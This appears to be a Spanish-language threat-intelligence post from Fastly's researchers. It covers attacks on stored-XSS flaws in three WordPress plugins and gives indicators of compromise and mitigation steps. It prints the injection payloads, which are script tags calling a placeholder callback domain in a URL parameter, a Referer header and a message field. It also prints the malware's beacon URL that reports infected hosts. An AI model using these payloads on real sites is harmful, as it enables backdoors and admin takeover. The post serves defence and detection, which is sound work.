Aprovechamiento de vulnerabilidades de scripting entre sitios almacenado sin autenticación en complementos de WordPress

Hemos observado intentos de aprovechamiento de tres vulnerabilidades y exposiciones comunes (CVE) de alta gravedad: CVE-2024-2194, CVE-2023-6961 y CVE-2023-40000. Estas vulnerabilidades están presentes en varios complementos de WordPress y son susceptibles a ataques de scripting entre sitios almacenado sin autenticación debido a deficiencias en el saneamiento de las entradas y el escape de las salidas, que permiten inyectar scripts maliciosos.

Las cargas útiles de los ataques dirigidos a estas vulnerabilidades inyectan una etiqueta de script que señala a un archivo ofuscado de JavaScript alojado en un dominio externo. El script utilizado para aprovechar estas vulnerabilidades es siempre el mismo. Estas son sus principales acciones con fines maliciosos:

  1. Creación de una nueva cuenta de administrador

  2. Inyección de puertas traseras

  3. Instalación de scripts de rastreo, posiblemente para supervisar los sitios infectados 

Hemos observado una cantidad elevada de intentos de aprovechamiento que tienen su origen en direcciones IP asociadas al sistema autónomo de Volume Inc. y que se concentran en los Países Bajos. Además, hemos identificado cinco dominios a los que se hace referencia en las cargas útiles de los ataques. En la última fase de rastreo se emplean otros dos dominios que han estado vinculados a otros aprovechamientos de complementos de WordPress, como se puede ver aquí y aquí.

Detalles de las vulnerabilidades

CVE-2024-2194

El complemento WP Statistics (versiones 14.5 y anteriores) queda expuesto al scripting almacenado entre sitios mediante el parámetro de búsqueda de URL.

utm_id="><script src="https://{CALLBACK_DOMAIN}/"></script>

Esta vulnerabilidad permite que atacantes sin autenticar utilicen este parámetro para inyectar scripts web arbitrarios que se ejecutan cuando un usuario accede a la página inyectada. El atacante envía una y otra vez peticiones con esta carga útil para asegurarse de que aparezca en las páginas más visitadas, para lo cual añade el parámetro «utm_id» a dichas peticiones.

Tim Coen informó de esta vulnerabilidad el 11 de marzo de 2024. El complemento WP Statistics acumula más de 600 000 instalaciones en activo. Según las estadísticas, las versiones anteriores a la 14.5 siguen activas en aproximadamente el 48 % de los sitios web que utilizan el complemento. 

CVE-2023-6961

El complemento WP Meta SEO (versiones 4.5.12 y anteriores) es susceptible a ataques de scripting almacenado entre sitios mediante el encabezado Referer HTTP.

Referer: <script src="https://{CALLBACK_DOMAIN}/"></script>

El atacante envía esta carga útil a la página objetivo, que suele generar una respuesta 404. Acto seguido, el complemento WP Meta SEO inserta este encabezado sin sanear en la base de datos para rastrear los redireccionamientos. Cuando un administrador carga la página 404 con redireccionamiento, el script obtiene un objeto ofuscado de JavaScript del dominio que efectúa devoluciones de llamada y lo ejecuta en el navegador de la víctima. Si esta persona está autenticada y, por ejemplo, se trata de un administrador de WP que ha iniciado sesión, sus credenciales quedan expuestas a acciones maliciosas.

Krzysztof Zając, investigador de CERT PL, informó de esta vulnerabilidad el 16 de abril de 2024. El complemento WP Meta SEO acumula más de 20 000 instalaciones en activo y, según las estadísticas, las versiones anteriores a la 4.5 siguen activas en aproximadamente el 27 % de los sitios web que lo utilizan.

CVE-2023-40000

El complemento LiteSpeed Cache (versiones 5.7.0.1 y anteriores) de WordPress es vulnerable al scripting almacenado entre sitios mediante los parámetros «nameservers» y «_msg».

result[_msg]=<script src="https://{CALLBACK_DOMAIN}/"></script>

La vulnerabilidad se activa cuando un administrador accede a cualquier página del backend, ya que la carga útil correspondiente se hace pasar por una notificación dirigida a esta persona. Esto provoca que el script malicioso se ejecute con sus credenciales y tenga vía libre para actuar.

Patchstack informó de esta vulnerabilidad en febrero de 2024. El complemento LiteSpeed Cache está muy extendido y acumula más de 5 millones de instalaciones en activo. Según las estadísticas, las versiones anteriores a la 5.7 siguen activas en el 15,7 % de los sitios web que utilizan el complemento, por lo que están en situación de riesgo una cantidad considerable de sitios. 

Malware de JavaScript

Los contenidos del archivo de JavaScript malicioso llevan a cabo las siguientes acciones:

  1. Inyección de puertas traseras de PHP maliciosas

    • En archivos de complementos

    • En archivos de temas

  2. Creación de una nueva cuenta de administrador

    • Envío de una petición a la instalación de WordPress en el servidor para la creación de una nueva cuenta de administrador

  3. Comienzo del rastreo

    • Puesta en marcha del rastreo mediante Yandex, ya sea a través de JavaScript o un píxel de rastreo

exploit blog image 1
Figura 1: fragmento de una carga útil maliciosa de JavaScript

El script de PHP malicioso lleva a cabo las siguientes acciones:

  1. Inyección de script de rastreo

    • Búsqueda recursiva de wp-loads.php e inyección en wp-config.php de:

      <script src="https://{TRACKING_DOMAIN}/"></script>
  2. Creación de un nuevo usuario con privilegios de administrador de WordPress

    • Nombre de usuario: admim

    • Contraseña**: 7F9SzCnS6g3AFLAO39Ro**

    • Correo electrónico**: admim@mystiqueapi[.]com**

  3. Rastreo de hosts infectados

    • Envío de una petición GET a:

      hxxp://ur.mystiqueapi[.]com/?ur=<$_SERVER['HTTP_HOST']>
    • Rastreo de hosts infectados mediante la obtención de la información de sus hosts HTTP

Actividad de los atacantes

CVE-2024-2194

exploit blog image 2
Figura 2: actividad de ataque de CVE-2024-2194

El dominio media.cdnstaticjs[.]com está vinculado al aprovechamiento de CVE-2024-2194. Hemos observado ataques a esta vulnerabilidad de 17 direcciones IP diferentes que tienen su origen principalmente en AS202425 (IP Volume Inc.) y AS210848 (Telkom Internet LTD) y se concentran en los Países Bajos.

CVE-2023-6961

exploit blog image 3
Figura 3: actividad de ataque de CVE-2023-6961

El dominio idc.cloudiync[.]com está vinculado al aprovechamiento de CVE-2023-6961. Hasta la fecha, más de 5000 millones de peticiones procedentes de una única dirección IP han intentado aprovecharse de esta vulnerabilidad, que tiene su origen en el sistema autónomo AS202425 (IP Volume Inc.). Además, hemos observado que media.cdnstaticjs[.]com se ha estado utilizando en cargas útiles maliciosas dirigidas a esta vulnerabilidad desde el 16 de mayo. Este dominio también se emplea en ataques dirigidos a CVE-2024-2194.

CVE-2023-40000

exploit blog image 5
Figura 4: Actividad maliciosa de CVE-2023-40000

Los dominios cloud.cdndynamic[.]com, go.kcloudinc[.]com y cdn.mediajsdelivery[.]com están relacionados con el aprovechamiento de CVE-2023-40000. El último ataque vinculado al dominio cdn.mediajsdelivery[.]com se observó el 15 de abril. Desde entonces, los dominios cloud.cdndynamic[.]com y go.kcloudinc[.]com son los únicos que se han utilizado en ataques dirigidos a esta vulnerabilidad.

A diferencia de lo que ocurre con las dos vulnerabilidades anteriores, el aprovechamiento malicioso de CVE-2023-40000 está más repartido entre distintas direcciones IP y sistemas autónomos. Hemos observado ataques de 1664 direcciones IP diferentes que tienen su origen principalmente en AS210848 (Telkom Internet LTD) y AS202425 (IP Volume Inc.) y se concentran sobre todo en los Países Bajos.

Rastreo de dominios

El dominio assets.scontentflow[.]com, registrado poco después de que el listado de CVE-2023-6961 se hiciera público, es el que se escribe principalmente en sitios infectados mediante cargas útiles procedentes de idc.cloudiync[.]com. Nuestros estudios indican que apenas hay páginas web con esta carga útil, por lo que su nivel de infección ha sido muy limitado hasta la fecha. 

El dominio cache.cloudswiftcdn[.]com se registró antes de que los tres conjuntos de CVE se hicieran públicos. Las cargas útiles que hacen referencia a este dominio tienen una estructura similar a otras observadas, con la diferencia de que incorporan 40 temas más con el objetivo de crear puestas traseras. Según los estudios de PublicWWW, más de 3000 páginas contienen este script. Si tenemos en cuenta que se registraron con bastante antelación, es posible que se lleven utilizando más tiempo o que el plazo de las infecciones sea más largo.

Indicadores de compromiso (IOC)

Dominios

Los siguientes dominios están relacionados con los intentos de aprovechamiento de estas vulnerabilidades:

media.cdnstaticjs[.]com
cloud.cdndynamic[.]com
idc.cloudiync[.]com
cdn.mediajsdelivery[.]com
go.kcloudinc[.]com
assets.scontentflow[.]com
cache.cloudswiftcdn[.]com

Direcciones IP 

Las siguientes direcciones IP están relacionadas con los intentos de aprovechamiento de estas vulnerabilidades (la lista no es exhaustiva):

80.82.76[.]214
31.43.191[.]220
94.102.51[.]144
94.102.51[.]95
91.223.82[.]150
185.7.33[.]129
101.99.75[.]178
94.242.61[.]217
80.82.78[.]133
111.90.150[.]154
103.155.93[.]120
185.100.87[.]144
185.162.130[.]23
101.99.75[.]215
111.90.150[.]123
103.155.93[.]244
185.209.162[.]247
179.43.172[.]148
185.159.82[.]103
185.247.226[.]37
185.165.169[.]62

Pautas para la mitigación

Comprueba los complementos que tienes instalados, aplica todas las actualizaciones disponibles y elimina las carpetas asociadas a los complementos sospechosos.

Fíjate bien en los usuarios con privilegios de administrador y asegúrate de que ninguno tenga el nombre admim y el correo electrónico admim[@]mystiqueapi[.]com.

Inspecciona todos los archivos para ver si se han realizado modificaciones imprevistas, sobre todo si contienen scripts sospechosos. Busca el siguiente código inyectado:

<script src="hxxps://assets.scontentflow[.]com"</script>
<script src="hxxps://cache.cloudswiftcdn[.]com"</script>

Mira si hay alguna petición saliente que no cuadre, sobre todo si su destino es un enlace de rastreo de Yandex o http://ur.mystiqueapi\[.\]com/?ur.

Si detectas alguno de estos indicios, eso significa que tu sitio web ha estado expuesto al aprovechamiento de alguna de estas vulnerabilidades.

Clientes de Fastly

Los clientes que disponen del WAF de última generación de Fastly pueden buscar estos indicios en sus registros de ataque para saber si han estado expuestos. Los intentos de aprovechamiento de los tres conjuntos de CVE se detectan de forma predeterminada y se señalan como scripting entre sitios (XSS). Los siete dominios asociados a los intentos de aprovechamiento se identifican mediante la señal de dominio fuera de banda (OOB-DOMAIN).

Además, las direcciones IP desde las que se envían los ataques se comparten entre todas las redes de los clientes del WAF de última generación gracias al Network Learning Exchange (NLX) de Fastly. Si quieres tomar más medidas al respecto o aumentar el nivel de inteligencia ante estos ataques, puedes utilizar estos indicadores para crear reglas personalizadas.

Equipo de Security Research de Fastly
Equipo de Security Research de Fastly
Simran Khalsa
Staff Security Researcher
Xavier Stevens
Staff Security Researcher
Matthew Mathur
Senior Security Researcher
Fecha de publicación:

6 min de lectura

Comparte esta entrada
Equipo de Security Research de Fastly
Equipo de Security Research de Fastly

El equipo de Security Research de Fastly se encarga de que nuestros clientes cuenten con las herramientas y los datos necesarios para mantener seguros sus sistemas. Analiza los ataques y, en última instancia, ayuda a prevenirlos como solo sabe hacerlo Fastly. El equipo está formado por un grupo de expertos en seguridad que trabaja entre bambalinas para ayudarte a estar en todo momento a la vanguardia del panorama cambiante de la seguridad.

Simran Khalsa
Staff Security Researcher

Como Staff Security Researcher en Fastly, Simran se centra en la información sobre amenazas, la investigación de vulnerabilidades y la innovación en nuestros productos. Le gusta analizar las tendencias de ataque más novedosas y reforzar las tecnologías para cortar el paso a las amenazas web en el mundo real. A lo largo de su trayectoria, ha ocupado puestos en las líneas ofensivas y defensivas de sectores públicos y privados, siempre con el desarrollo de soluciones modernas de seguridad en mente.

Xavier Stevens
Staff Security Researcher

Xavier Stevens es Staff Security Researcher en Fastly y se centra en la investigación de amenazas, la ingeniería de detección y la innovación en productos.

Matthew Mathur
Senior Security Researcher

Matthew es Senior Security Researcher en Fastly y se centra en la investigación de amenazas, los ataques a aplicaciones web y el desarrollo de mecanismos de protección. Contribuye activamente a varias herramientas de seguridad de código abierto, como el entorno Metasploit y Nuclei, y le encanta compartir sus hallazgos con la comunidad.

¿List@ para empezar?

Ponte en contacto o crea una cuenta.